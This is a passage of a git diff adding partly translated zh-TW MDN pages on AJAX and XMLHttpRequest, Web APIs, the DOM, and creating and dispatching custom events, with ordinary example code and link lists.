+    // 一切 ok, 繼續解析
+} else {
+    // 還沒完成
+}
+</pre>
+
+<p><code>readyState</code> 所有可能的值如下：</p>
+
+<ul>
+ <li>0（還沒開始）</li>
+ <li>1（讀取中）</li>
+ <li>2（已讀取）</li>
+ <li>3（資訊交換中）</li>
+ <li>4（一切完成）</li>
+</ul>
+
+<p>（<a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/readystate_1.asp">資料來源：MSDN</a>）</p>
+
+<p>接下來要檢查伺服器傳回的 HTTP 狀態碼。所有狀態碼列表可於 <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">W3C 網站</a>上查到，但我們要管的是 <code>200 OK</code> 這種狀態。</p>
+
+<pre class="brush: js notranslate">if (httpRequest.status === 200) {
+    // 萬事具備
+} else {
+    // 似乎有點問題。
+    // 或許伺服器傳回了 404（查無此頁）
+    // 或者 500（內部錯誤）什麼的。
+}
+</pre>
+
+<p>檢查傳回的 HTTP 狀態碼後，要怎麼處理傳回的資料就由你決定了。有兩種存取資料的方式：</p>
+
+<ul>
+ <li><code>httpRequest.responseText</code> – 這樣會把傳回值視為字串用</li>
+ <li><code>httpRequest.responseXML</code> – 這樣會把傳回值視為 <code>XMLDocument</code> 物件，而後可用 JavaScript DOM 相關函式處理</li>
+</ul>
+
+<h3 id="第三步_–_簡單範例">第三步 – 簡單範例</h3>
+
+<p>好，接著就做一次簡單的 HTTP 範例，演示方才的各項技巧。這段 JavaScript 會向伺服器要一份裡頭有「I'm a test.」字樣的 HTML 文件(<code>test.html</code>)，而後以 <code>alert()</code> 將文件內容列出。</p>
+
+<pre class="brush: html notranslate">&lt;button id="ajaxButton" type="button"&gt;Make a request&lt;/button&gt;
+
+&lt;script&gt;
+(function() {
+  var httpRequest;
+  document.getElementById("ajaxButton").addEventListener('click', makeRequest);
+
+  function makeRequest() {
+    httpRequest = new XMLHttpRequest();
+
+    if (!httpRequest) {
+      alert('Giving up :( Cannot create an XMLHTTP instance');
+      return false;
+    }
+    httpRequest.onreadystatechange = alertContents;
+    httpRequest.open('GET', 'test.html');
+    httpRequest.send();
+  }
+
+  function alertContents() {
+    if (httpRequest.readyState === XMLHttpRequest.DONE) {
+      if (httpRequest.status === 200) {
+        alert(httpRequest.responseText);
+      } else {
+        alert('There was a problem with the request.');
+      }
+    }
+  }
+})();
+&lt;/script&gt;
+</pre>
+
+<p>在此範例中：</p>
+
+<ul>
+ <li>首先使用者按下「Make a request」</li>
+ <li>這麼一來就會呼叫 <code>makeRequest()</code> 函式，亦傳入參數值 <code>test.html</code> (也就是那份 HTML 檔的名稱，放在同目錄下)</li>
+ <li>接著發出 request，而後會將主導權交給 <code>onreadystatechange</code> 指定的 <code>alertContents()</code> 函式</li>
+ <li><code>alertContents()</code> 檢查回應是否正常，而後以 <code>alert()</code> 將 <code>test.html</code> 的內容列出</li>
+</ul>
+
+<p>你可以<a class="external" href="http://www.w3clubs.com/mozdev/httprequest_test.html">由此測試本例</a>，也可以參考<a class="external" href="http://www.w3clubs.com/mozdev/test.html">測試檔案</a>。</p>
+
+<div class="note">Note:如果你傳送一個要求到一段代碼，而這段代碼將回應XML而非靜態的HTML檔，那則必須要設定一個可以在IE中運作的header。如果我們不設定header  <code>Content-Type: application/xml</code>，IE將會在我們試圖運作的XML項目行下，回應一個"Object Expected" 的錯誤。</div>
+
+<div class="note">Note 2: 如果我們沒有設定header <code>Cache-Control: no-cache</code>，那瀏覽器將會藏匿response並且不再重新傳送request，造成除錯上的挑戰。我們也可以增加一個 always-different GET 參數，像是 timestamp 或 random number (詳見<a href="https://developer.mozilla.org/en/DOM/XMLHttpRequest/Using_XMLHttpRequest#Bypassing_the_cache">bypassing the cache</a>)</div>
+
+<div class="note"><strong>Note 3</strong>: If the <code>httpRequest</code> variable is used globally, competing functions calling <code>makeRequest()</code> can overwrite each other, causing a race condition. Declaring the <code>httpRequest </code>variable local to a <a href="/en/JavaScript/Guide/Closures">closure</a> containing the AJAX functions avoids this.</div>
+
+<p>In the event of a communication error (such as the server going down), an exception will be thrown in the <code>onreadystatechange</code> method when accessing the response status. To mitigate this problem, you could wrap your <code>if...then</code> statement in a <code>try...catch</code>:</p>
+
+<pre class="brush: js notranslate">function alertContents() {
+  try {
+    if (httpRequest.readyState === XMLHttpRequest.DONE) {
+      if (httpRequest.status === 200) {
+        alert(httpRequest.responseText);
+      } else {
+        alert('There was a problem with the request.');
+      }
+    }
+  }
+  catch( e ) {
+    alert('Caught Exception: ' + e.description);
+  }
+}
+</pre>
+
+<h3 id="第四步_–_運用_XML_資料">第四步 – 運用 XML 資料</h3>
+
+<p>前面的例子中，在收到 HTTP 傳回值後我們以物件的 <code>reponseText</code> 屬性接收 <code>test.html</code> 檔案的內容，接著來試試 <code>responseXML</code> 屬性。</p>
+
+<p>首先，我們得做個格式正確的 XML 文件以便稍後取用。文件 (<code>test.xml</code>) 內容如下：</p>
+
+<pre class="brush: html notranslate">&lt;?xml version="1.0" ?&gt;
+&lt;root&gt;
+    I'm a test.
+&lt;/root&gt;
+</pre>
+
+<p>在程式中，我們叫用檔案的地方只須略事修改如下：</p>
+
+<pre class="brush: html notranslate">...
+onclick="makeRequest('test.xml')"&gt;
+...
+</pre>
+
+<p>接著在 <code>alertContents()</code> 中，我們把 <code>alert(http_request.responseText);</code> 改成這樣：</p>
+
+<pre class="brush: js notranslate">var xmldoc = httpRequest.responseXML;
+var root_node = xmldoc.getElementsByTagName('root').item(0);
+alert(root_node.firstChild.data);
+</pre>
+
+<p>這樣一來我們便可取得 <code>responseXML</code> 所傳回的 <code>XMLDocument</code> 物件，而後以 DOM 方法取用 XML 文件的內容。你可以參考 <a class="external" href="http://www.w3clubs.com/mozdev/test.xml"><code>test.xml</code> 的原始碼</a> 以及修改過後的<a class="external" href="http://www.w3clubs.com/mozdev/httprequest_test_xml.html">測試程式</a>。</p>
+
+<p>關於 DOM 方法，請參考 <a class="external" href="http://www.mozilla.org/docs/dom/">Mozilla DOM</a> 文件。</p>
+
+<h3 id="Step_5_–_Working_with_data">Step 5 – Working with data</h3>
+
+<p>Finally, let's send some data to the server and receive a response. Our JavaScript will request a dynamic page this time, <code>test.php</code>, which will take the data we send and return a "computed" string - "Hello, [user data]!" - which we'll <code>alert().</code></p>
+
+<p>First we'll add a text box to our HTML so the user can enter their name:</p>
+
+<pre class="brush: html notranslate">&lt;label&gt;Your name:
+  &lt;input type="text" id="ajaxTextbox" /&gt;
+&lt;/label&gt;
+&lt;span id="ajaxButton" style="cursor: pointer; text-decoration: underline"&gt;
+  Make a request
+&lt;/span&gt;</pre>
+
+<p>We'll also add a line to our event handler to get the user's data from the text box and send it to the <code>makeRequest()</code> function along with the URL of our server-side script:</p>
+
+<pre class="brush: js notranslate">  document.getElementById("ajaxButton").onclick = function() {
+      var userName = document.getElementById("ajaxTextbox").value;
+      makeRequest('test.php',userName);
+  };
+</pre>
+
+<p>We need to modify <code>makeRequest()</code> to accept the user data and pass it along to the server. We'll change the request method from <code>GET</code> to <code>POST</code>, and include our data as a parameter in the call to <code>httpRequest.send()</code>:</p>
+
+<pre class="brush: js notranslate">  function makeRequest(url, userName) {
+
+    ...
+
+    httpRequest.onreadystatechange = alertContents;
+    httpRequest.open('POST', url);
+    httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+    httpRequest.send('userName=' + encodeURIComponent(userName));
+  }
+</pre>
+
+<p>The function <code>alertContents()</code> can be written the same way it was in Step 3 to alert our computed string, if that's all the server returns. However, let's say the server is going to return both the computed string and the original user data. So if our user typed "Jane" in the text box, the server's response would look like this:</p>
+
+<p><code>{"userData":"Jane","computedString":"Hi, Jane!"}</code></p>
+
+<p>To use this data within <code>alertContents()</code>, we can't just alert the <code>responseText</code>, we have to parse it and alert <code>computedString</code>, the property we want:</p>
+
+<pre class="brush: js notranslate">function alertContents() {
+  if (httpRequest.readyState === XMLHttpRequest.DONE) {
+    if (httpRequest.status === 200) {
+      var response = JSON.parse(httpRequest.responseText);
+      alert(response.computedString);
+    } else {
+      alert('There was a problem with the request.');
+    }
+  }
+}</pre>
+
+<p>The <code>test.php file should contain the following:</code></p>
+
+<pre class="brush: php notranslate"><code>$name = (isset($_POST['userName'])) ? $_POST['userName'] : 'no name';
+$computedString = "Hi, " . $name;
+$array = ['userName' =&gt; $name, 'computedString' =&gt; $computedString];
+echo json_encode($array);</code></pre>
+
+<p><code>For more on DOM methods, be sure to check <a class="external" href="http://www.mozilla.org/docs/dom/">Mozilla's DOM implementation</a> documents.</code></p>
diff --git a/files/zh-tw/web/guide/ajax/index.html b/files/zh-tw/web/guide/ajax/index.html
new file mode 100644
index 0000000000..8e6a49698f
--- /dev/null
+++ b/files/zh-tw/web/guide/ajax/index.html
@@ -0,0 +1,119 @@
+---
+title: Ajax
+slug: Web/Guide/AJAX
+translation_of: Web/Guide/AJAX
+---
+<div class="callout-box"><strong><a href="/zh-TW/docs/Web/Guide/AJAX/Getting_Started" title="zh-TW/docs/Web/Guide/AJAX/Getting_Started">入門篇</a></strong><br>
+Ajax 簡介。</div>
+
+<div>
+<p><strong>非同步 JavaScript 及 XML（Asynchronous JavaScript and XML，AJAX）</strong> 並不能稱做是種「技術」，而是 2005 年時由 Jesse James Garrett 所發明的術語，描述一種使用數個既有技術的「新」方法。這些技術包括 <a href="/zh-TW/docs/HTML" title="zh-TW/docs/HTML">HTML</a> 或 <a href="/zh-TW/docs/XHTML" title="zh-TW/docs/XHTML">XHTML</a>、<a href="/zh-TW/docs/CSS" title="zh-TW/docs/CSS">層疊樣式表</a>、<a href="/zh-TW/docs/JavaScript" title="zh-TW/docs/JavaScript">JavaScript</a>、<a href="/zh-TW/docs/DOM" title="zh-TW/docs/DOM">文件物件模型</a>、<a href="/zh-TW/docs/XML" title="zh-TW/docs/XML">XML</a>、<a href="/zh-TW/docs/XSLT" title="zh-TW/docs/XSLT">XSLT</a> 以及最重要的 <a href="/zh-TW/docs/XMLHttpRequest" title="zh-TW/docs/XMLHttpRequest">XMLHttpRequest 物件</a>。<br>
+ 當這些技術被結合在 Ajax 模型中，Web 應用程式便能快速、即時更動介面及內容，不需要重新讀取整個網頁，讓程式更快回應使用者的操作。</p>
+
+<p>雖然 X 在 Ajax 中代表 XML，但由於 <a href="/zh-TW/docs/JSON" title="https://developer.mozilla.org/en-US/docs/JSON">JSON</a> 的許多優點，如輕量以及其本身就是 JavaScript 的一部分等，讓現今 JSON 比起 XML 被更廣泛的使用。JSON 與 XML 兩者都被用來在 Ajax 模型中包裝資訊。</p>
+</div>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="文件">文件</h2>
+
+<dl>
+ <dt><a href="/zh-TW/docs/AJAX/Getting_Started" title="zh-TW/docs/AJAX/Getting_Started">入門篇</a></dt>
+ <dd>這篇文章會指引你瞭解 Ajax 的基礎知識並提供了兩個簡單的動手做範例來入門。</dd>
+ <dt><a href="/zh-TW/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="/zh-TW/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest">使用 XMLHttpRequest API</a></dt>
+ <dd><a href="/zh-TW/docs/DOM/XMLHttpRequest" title="XMLHttpRequest"><code>XMLHttpRequest</code> API</a> 是 Ajax 的核心。這篇文章將解釋如何使用一些 Ajax 技術，例如：
+ <ul>
+  <li><a href="/zh-TW/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Handling_responses" title="/zh-TW/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Handling_responses">分析及處理伺服器回應</a></li>
+  <li><a href="/zh-TW/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress" title="/zh-TW/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress">監視請求進度</a></li>
+  <li><a href="/zh-TW/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files" title="/zh-TW/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">提交表單與上傳二進制檔案</a> – 使用<em>單純的</em> Ajax，或使用 <a href="/zh-TW/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> 物件</li>
+  <li><a href="/zh-TW/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Types_of_requests" title="/zh-TW/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Types_of_requests">建立同步或非同步請求</a></li>
+  <li>在 <a href="/en-US/docs/DOM/Worker" title="/zh-TW/docs/DOM/Worker">Web workers</a> 中使用 Ajax</li>
+ </ul>
+ </dd>
+ <dt><a href="/zh-TW/docs/Web/API/Fetch_API">Fetch API</a></dt>
+ <dd>Fetch API 提供了取得資源（fetching resources）的介面（interface）。這似乎對於曾使用過 {{domxref("XMLHTTPRequest")}} 的人而言並不陌生，然而這個 API 提供一個更強大且彈性的功能集。</dd>
+ <dt><a href="/en-US/docs/Server-sent_events" title="/en-US/docs/Server-sent_events">Server-sent events</a></dt>
+ <dd>傳統上來說，一個網頁必須送出 request 到伺服器來得到新的資料，也就是說，網頁藉由server-sent 事件從伺服器請求 (request) 資料，伺服器在任何時候都能送新的資料給網頁，藉由推送訊息到網頁。這些傳入的訊息可以被視為網頁中的 <em><a href="/en-US/docs/DOM/event" title="DOM/Event">事件</a></em> + 資料，請參見 <a href="/en-US/docs/Server-sent_events/Using_server-sent_events" title="/en-US/docs/Server-sent_events/Using_server-sent_events">使用server-sent event </a>。</dd>
+ <dt><a href="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history/Example" title="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history/Example"><em>Pure-Ajax</em> navigation example</a></dt>
+ <dd>This article provides a working (minimalist) example of a <em>pure-Ajax</em> website composed only of three pages.</dd>
+ <dt><a href="/en-US/docs/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data" title="/en-US/docs/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data">Sending and Receiving Binary Data</a></dt>
+ <dd>The <code>responseType</code> property of the XMLHttpRequest object can be set to change the expected response type from the server. Possible values are the empty string (default), <code>"arraybuffer"</code>, <code>"blob"</code>, <code>"document"</code>, <code>"json"</code>, and <code>"text"</code>. The <code>response</code> property will contain the entity body according to <code>responseType</code>, as an <code>ArrayBuffer</code>, <code>Blob</code>, <code>Document</code>, <code>JSON</code>, or string. This article will show some Ajax I/O techniques.</dd>
+ <dt><a href="/en-US/docs/XML" title="XML">XML</a></dt>
+ <dd>可擴展標記語言（The Extensible Markup Language, XML）是W3C推薦的用於創建特殊用途標記語言的通用標記語言。它是SGML的簡化子集，能夠描述許多不同類型的數據。其主要目的是促進不同系統間的數據共享，特別是通過網際網路連接的系統。</dd>
+ <dt><a href="/en-US/docs/JXON" title="JXON">JXON</a></dt>
+ <dd>JXON 代表無損耗 <strong>J</strong>avascript <strong>X</strong>ML <strong>O</strong>bject <strong>N</strong>otation, 是一個通用名稱，用來定義使用 XML 的 Javascript 物件樹(JSON) 的通用名稱。</dd>
+ <dt><a href="/en-US/docs/Parsing_and_serializing_XML" title="Parsing_and_serializing_XML">解析和序列化 XML</a></dt>
+ <dd>如何從一串字串，一個檔案中透過 Javascript 解析一個 XML 文件  ，以及如何將 XML 檔案序列化成字串、Javascript 物件樹(JXON) 或檔案。 </dd>
+ <dt><a href="/en-US/docs/XPath" title="XPath">XPath</a></dt>
+ <dd>XPath stands for <strong>X</strong>ML <strong>Path</strong> Language, it uses a non-XML syntax that provides a flexible way of addressing (pointing to) different parts of an <a href="/en-US/docs/XML" title="XML">XML</a> document. As well as this, it can also be used to test addressed nodes within a document to determine whether they match a pattern or not.</dd>
+ <dt><a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader">The <code>FileReader</code> API</a></dt>
+ <dd>The <code>FileReader</code> API lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using <a href="https://developer.mozilla.org/en-US/docs/DOM/File" title="/en-US/docs/DOM/File"><code>File</code></a> or <a href="https://developer.mozilla.org/en-US/docs/DOM/Blob" title="/en-US/docs/DOM/Blob"><code>Blob</code></a> objects to specify the file or data to read. File objects may be obtained from a <a href="https://developer.mozilla.org/en-US/docs/DOM/FileList" title="/en-US/docs/DOM/FileList"><code>FileList</code></a> object returned as a result of a user selecting files using the <code><a href="https://developer.mozilla.org/en-US/docs/HTML/Element/input" title="&lt;input>">&lt;input&gt;</a></code> element, from a drag and drop operation's <a href="https://developer.mozilla.org/En/DragDrop/DataTransfer" title="En/DragDrop/DataTransfer"><code>DataTransfer</code></a> object, or from the <code>mozGetAsFile()</code> API on an <a href="https://developer.mozilla.org/en-US/docs/DOM/HTMLCanvasElement" title="/en-US/docs/DOM/HTMLCanvasElement"><code>HTMLCanvasElement</code></a>.</dd>
+ <dt><a href="/en-US/docs/HTML_in_XMLHttpRequest" title="en-US/docs/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a></dt>
+ <dd>The W3C <a class="external" href="http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html">XMLHttpRequest</a> specification adds HTML parsing support to <a href="/en/DOM/XMLHttpRequest" title="en/DOM/XMLHttpRequest"><code>XMLHttpRequest</code></a>, which originally supported only XML parsing. This feature allows Web apps to obtain an HTML resource as a parsed DOM using <code>XMLHttpRequest</code>.</dd>
+ <dt><a href="/en-US/docs/AJAX/Other_Resources" title="en-US/docs/AJAX/Other_Resources">Other resources</a></dt>
+ <dd>Other Ajax resources you may find useful.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/AJAX" title="en-US/docs/tag/AJAX">View All...</a></span></p>
+
+<h2 class="Other" id="參見">參見</h2>
+
+<dl>
+ <dt><a href="http://www.webreference.com/programming/ajax_tech/">Alternate Ajax Techniques</a></dt>
+ <dd>Most articles on Ajax have focused on using XMLHttp as the means to achieving such communication, but Ajax techniques are not limited to just XMLHttp. There are several other methods.</dd>
+ <dt><a href="http://adaptivepath.org/ideas/ajax-new-approach-web-applications/">Ajax: A New Approach to Web Applications</a></dt>
+ <dd>Jesse James Garrett, of <a href="http://www.adaptivepath.com">adaptive path</a>, wrote this article in February 2005, introducing Ajax and its related concepts.</dd>
+ <dt><a href="http://www.onlamp.com/pub/a/onlamp/2005/05/19/xmlhttprequest.html">A Simpler Ajax Path</a></dt>
+ <dd>"As it turns out, it's pretty easy to take advantage of the XMLHttpRequest object to make a web app act more like a desktop app while still using traditional tools like web forms for collecting user input."</dd>
+ <dt><a href="http://alexbosworth.backpackit.com/pub/67688">Ajax Mistakes</a></dt>
+ <dd>Alex Bosworth has written this article outlining some of the mistakes Ajax application developers can make.</dd>
+ <dt><a href="http://www.xul.fr/en-xml-ajax.html">Tutorial</a> with examples.</dt>
+ <dd> </dd>
+ <dt><a href="http://www.w3.org/TR/XMLHttpRequest/">XMLHttpRequest specification</a></dt>
+ <dd>W3C Working draft</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Community" id="社群">社群</h2>
+
+<ul>
+ <li>View Mozilla forums...</li>
+</ul>
+
+<div>{{ DiscussionList("dev-ajax", "mozilla.dev.ajax") }}</div>
+
+<ul>
+ <li><a href="/en-US/docs/AJAX/Community" title="en-US/docs/AJAX/Community">Ajax community links</a></li>
+</ul>
+
+<h2 class="Tools" id="工具">工具</h2>
+
+<ul>
+ <li><a href="http://www.ajaxprojects.com">Toolkits and frameworks</a></li>
+ <li><a href="http://www.getfirebug.com/">Firebug - Ajax/Web development tool</a></li>
+ <li><a href="http://blog.monstuff.com/archives/000252.html">AJAX Debugging Tool</a></li>
+ <li><a href="http://www.osflash.org/doku.php?id=flashjs">Flash/AJAX Integration Kit</a></li>
+ <li><a href="http://xkr.us/code/javascript/XHConn/">A Simple XMLHTTP Interface Library</a></li>
+</ul>
+
+<p><span class="alllinks"><a href="/en-US/docs/AJAX:Tools" title="en-US/docs/AJAX:Tools">View All...</a></span></p>
+
+<h2 id="範例">範例</h2>
+
+<ul>
+ <li><a href="http://www.dhtmlgoodies.com/index.html?whichScript=ajax-poller">Ajax poller script</a></li>
+ <li><a href="http://www.ajaxprojects.com/ajax/tutorialdetails.php?itemid=9">Ajax Chat Tutorial</a></li>
+ <li><a href="http://www.ajaxprojects.com/ajax/tutorialdetails.php?itemid=13">RSS Ticker with Ajax</a></li>
+ <li><a href="http://www.thinkvitamin.com/features/ajax/create-your-own-ajax-effects">Create your own Ajax effects</a></li>
+ <li><a href="http://codinginparadise.org/weblog/2005/08/ajax-creating-huge-bookmarklets.html">Ajax: Creating Huge Bookmarklets</a></li>
+ <li><a href="http://www.hotajax.org">Ajax: Hot!Ajax There are many cool examples</a></li>
+</ul>
+
+<h2 class="Related_Topics" id="相關主題">相關主題</h2>
+
+<p><a href="/en-US/docs/HTML" title="en-US/docs/HTML">HTML</a>, <a href="/en-US/docs/XHTML" title="en-US/docs/XHTML">XHTML</a>, <a href="/en-US/docs/CSS" title="en-US/docs/CSS">CSS</a>, <a href="/en-US/docs/DOM" title="en-US/docs/DOM">DOM</a>, <a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a>, <a href="/en-US/docs/XML" title="en-US/docs/XML">XML</a>, <a href="/en-US/docs/nsIXMLHttpRequest" title="en-US/docs/XMLHttpRequest">XMLHttpRequest</a>, <a href="/en-US/docs/XSLT" title="en-US/docs/XSLT">XSLT</a>, <a href="/en-US/docs/DHTML" title="en-US/docs/DHTML">DHTML</a>, <a href="/en-US/docs/JavaScript/Same_origin_policy_for_JavaScript" title="en-US/docs/JavaScript/Same_origin_policy_for_JavaScript">Same Origin Policy</a></p>
+</div>
+</div>
+
+<p>{{ListSubpages}}</p>
diff --git a/files/zh-tw/web/guide/api/index.html b/files/zh-tw/web/guide/api/index.html
new file mode 100644
index 0000000000..950affd971
--- /dev/null
+++ b/files/zh-tw/web/guide/api/index.html
@@ -0,0 +1,25 @@
+---
+title: Guide to Web APIs
+slug: Web/Guide/API
+tags:
+  - API
+  - Guide
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+  - Web
+translation_of: Web/Guide/API
+---
+<p>Here you'll find links to each of the guides introducing and explaining each of the APIs that make up the Web development architecture.</p>
+<h2 id="Web_APIs_from_A_to_Z">Web APIs from A to Z</h2>
+
+<p>{{ListGroups}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API">Web API interface reference</a> (an index of all of the interfaces comprising all of these APIs)</li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model</a> (DOM)</li>
+ <li><a href="/en-US/docs/Web/Events">Web API event reference</a></li>
+ <li><a href="/en-US/docs/Learn">Learning web development</a></li>
+</ul>
diff --git a/files/zh-tw/web/guide/dom/index.html b/files/zh-tw/web/guide/dom/index.html
new file mode 100644
index 0000000000..997730a412
--- /dev/null
+++ b/files/zh-tw/web/guide/dom/index.html
@@ -0,0 +1,21 @@
+---
+title: DOM developer guide
+slug: Web/Guide/DOM
+tags:
+  - API
+  - DOM
+  - Guide
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/API/Document_Object_Model
+---
+<p>{{draft}}</p>
+<p>The <a href="/docs/DOM">Document Object Model</a> is an API for <a href="/en-US/docs/HTML">HTML</a> and <a href="/en-US/docs/XML">XML</a> documents. It provides a structural representation of the document, enabling the developer to modify its content and visual presentation. Essentially, it connects web pages to scripts or programming languages.</p>
+<p>All of the properties, methods, and events available to the web developer for manipulating and creating web pages are organized into <a href="/en-US/docs/Gecko_DOM_Reference">objects</a> (e.g., the document object that represents the document itself, the table object that represents a HTML table element, and so forth). Those objects are accessible via scripting languages in most recent web browsers.</p>
+<p>The DOM is most often used in conjunction with <a href="/en-US/docs/JavaScript">JavaScript</a>. However, the DOM was designed to be independent of any particular programming language, making the structural representation of the document available from a single, consistent API. Though we focus on JavaScript throughout this site, implementations of the DOM can be built for <a href="http://www.w3.org/DOM/Bindings">any language</a>.</p>
+<p>The <a href="http://www.w3.org/">World Wide Web Consortium</a> establishes a <a href="http://www.w3.org/DOM/">standard for the DOM</a>, called the W3C DOM. It should, now that the most important browsers correctly implement it, enable powerful cross-browser applications.</p>
+<h2 id="Why_is_the_DOM_support_in_Mozilla_important.3F" name="Why_is_the_DOM_support_in_Mozilla_important.3F">Why is the DOM important?</h2>
+<p>"Dynamic HTML" (<a href="/en-US/docs/DHTML">DHTML</a>) is a term used by some vendors to describe the combination of HTML, style sheets and scripts that allows documents to be animated. The W3C DOM Working Group is working hard to make sure interoperable and language-neutral solutions are agreed upon (see also the <a href="http://www.w3.org/DOM/faq.html">W3C FAQ</a>). As Mozilla claims the title of "Web Application Platform", support for the DOM is one of the most requested features, and a necessary one if Mozilla wants to be a viable alternative to the other browsers.</p>
+<p>Even more important is the fact that the user interface of Mozilla (also Firefox and Thunderbird) is built using <a href="/en-US/docs/XUL" title="/en-US/docs/XUL">XUL</a>, using the DOM to <a href="/en-US/docs/Dynamically_modifying_XUL-based_user_interface">manipulate its own UI</a>.</p>
+<h2 id="More_about_the_DOM">More about the DOM</h2>
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/zh-tw/web/guide/events/creating_and_triggering_events/index.html b/files/zh-tw/web/guide/events/creating_and_triggering_events/index.html
new file mode 100644
index 0000000000..c198adaa5e
--- /dev/null
+++ b/files/zh-tw/web/guide/events/creating_and_triggering_events/index.html
@@ -0,0 +1,144 @@
+---
+title: 建立或觸發事件
+slug: Web/Guide/Events/Creating_and_triggering_events
+tags:
+  - Advanced
+  - DOM
+  - Guide
+  - JavaScript
+  - 事件
+translation_of: Web/Guide/Events/Creating_and_triggering_events
+---
+<p>本文介紹如何建立和觸發事件。</p>
+
+<h2 id="建立自定義事件">建立自定義事件</h2>
+
+<p>事件可以用 {{domxref("Event")}} constructor 建立，如下所示：</p>
+
+<pre class="brush: js">var event = new Event('build');
+
+// 監聽事件
+elem.addEventListener('build', function (e) { ... }, false);
+
+// 觸發事件
+elem.dispatchEvent(event);</pre>
+
+<p>除了 Internet Explorer 以外，大多數的瀏覽器都支持這個 constructor 。若要能夠支援 Internet Explore 的更詳細的方法，可以參考段落《<a href="#早期的做法" title="早期的作法">早期的做法</a>》。</p>
+
+<h3 id="增加自定義的資料－－CustomEvent()">增加自定義的資料－－CustomEvent()</h3>
+
+<p>要在事件的 object 追加其他資料，能使用 {{domxref("CustomEvent")}} 介面。它有 <u><strong>detail</strong></u> 屬性，可以用來傳送自訂資料。<br>
+ <span style="line-height: 1.5;">舉例來說，可以以下面方式建立事件：</span></p>
+
+<pre class="brush: js">var event = new CustomEvent('build', { 'detail': elem.dataset.time });</pre>
+
+<p>它可以讓你傳送自訂資料到事件的監聽器：</p>
+
+<pre class="brush: js">function eventHandler(e) {
+  log('The time is: ' + e.detail);
+}
+</pre>
+
+<h3 id="早期的做法">早期的做法</h3>
+
+<p>早期建立事件的方式參考了 Java 的 API 。下為一個早期作法的例子：</p>
+
+<pre class="brush: js">// 建立事件
+var event = document.createEvent('Event');
+
+// 設定事件名稱為 “build” 。
+event.initEvent('build', true, true);
+
+// 監聽事件
+elem.addEventListener('build', function (e) {
+  // e.target matches elem
+}, false);
+
+// 事件對象可以是任一 HTML 元素或是 EventTarget 。
+elem.dispatchEvent(event);
+
+</pre>
+
+<h2 id="觸發自定義事件">觸發自定義事件</h2>
+
+<p>下面的例子演示了一個複選框藉由 DOM 的 methods 模擬一次點擊（換言之，讓程式執行一次「點擊事件」。）。 <a class="external" href="http://developer.mozilla.org/samples/domref/dispatchEvent.html">觀看實例</a>。</p>
+
+<pre class="brush: js">function simulateClick() {
+  var event = new MouseEvent('click', {
+    'view': window,
+    'bubbles': true,
+    'cancelable': true
+  });
+  var cb = document.getElementById('checkbox');
+  var canceled = !cb.dispatchEvent(event);
+  if (canceled) {
+    // A handler called preventDefault.
+    alert("canceled");
+  } else {
+    // None of the handlers called preventDefault.
+    alert("not canceled");
+  }
+}</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility" style="line-height: 30px; font-size: 2.14285714285714rem;">瀏覽器的支援度</h2>
+
+<h2 id="sect1"> </h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Feature</th>
+   <th style="line-height: 16px;">Chrome</th>
+   <th style="line-height: 16px;">Firefox (Gecko)</th>
+   <th style="line-height: 16px;">Edge</th>
+   <th style="line-height: 16px;">Internet Explorer</th>
+   <th style="line-height: 16px;">Opera</th>
+   <th style="line-height: 16px;">Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td><code>Event()</code> constructor</td>
+   <td>15</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.60</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Feature</th>
+   <th style="line-height: 16px;">Android</th>
+   <th style="line-height: 16px;">Firefox Mobile (Gecko)</th>
+   <th style="line-height: 16px;">IE Mobile</th>
+   <th style="line-height: 16px;">Opera Mobile</th>
+   <th style="line-height: 16px;">Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li>{{domxref("document.createEvent()")}}</li>
